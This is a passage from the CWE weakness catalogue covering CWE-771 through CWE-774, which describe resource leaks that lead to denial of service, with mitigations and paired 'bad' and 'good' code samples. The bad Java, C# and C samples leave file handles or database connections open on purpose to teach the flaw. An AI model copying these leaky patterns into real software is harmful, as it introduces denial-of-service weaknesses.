CVE-2022-21668	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). *https://www.cve.org/CVERecord?id=CVE-2022-21668*

Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID : 771
Structure : Simple
Abstraction : Base

Description

The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	972
ParentOf		773	Missing Reference to Active File Descriptor or Handle	1641

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2361

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID : 772
Structure : Simple
Abstraction : Base

Description

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

Example Language: Java *(Bad)*

```
private void processFile(string fName)
{
   BufferReader fil = new BufferReader(new FileReader(fName));
   String line;
   while ((line = fil.ReadLine()) != null)
   {
      processLine(line);
   }
}
```

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

Example Language: Java *(Good)*

```
private void processFile(string fName)
{
   BufferReader fil = new BufferReader(new FileReader(fName));
   String line;
   while ((line = fil.ReadLine()) != null)
   {
      processLine(line);
   }
   fil.Close();
}
```

Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

Example Language: C# *(Bad)*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java *(Bad)*

```
try {
   Connection con = DriverManager.getConnection(some_connection_string);
```

```
}
catch ( Exception e ) {
   log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 4:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# *(Bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 5:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C *(Bad)*

```
int decodeFile(char* fName) {
   char buf[BUF_SZ];
   FILE* f = fopen(fName, "r");
   if (!f) {
      printf("cannot open %s\n", fName);
      return DECODE_FAIL;
   }
   else {
      while (fgets(buf, BUF_SZ, f)) {
         if (!checkChecksum(buf)) {
            return DECODE_FAIL;
         }
         else {
            decodeBlock(buf);
         }
      }
   }
   fclose(f);
   return DECODE_SUCCESS;
}
```

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.

Reference	Description

Notes

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID : 773
Structure : Simple
Abstraction : Variant

Description

The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

Extended Description

This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

Weakness ID : 774
Structure : Simple
Abstraction : Variant

Description

The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

Extended Description

This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.
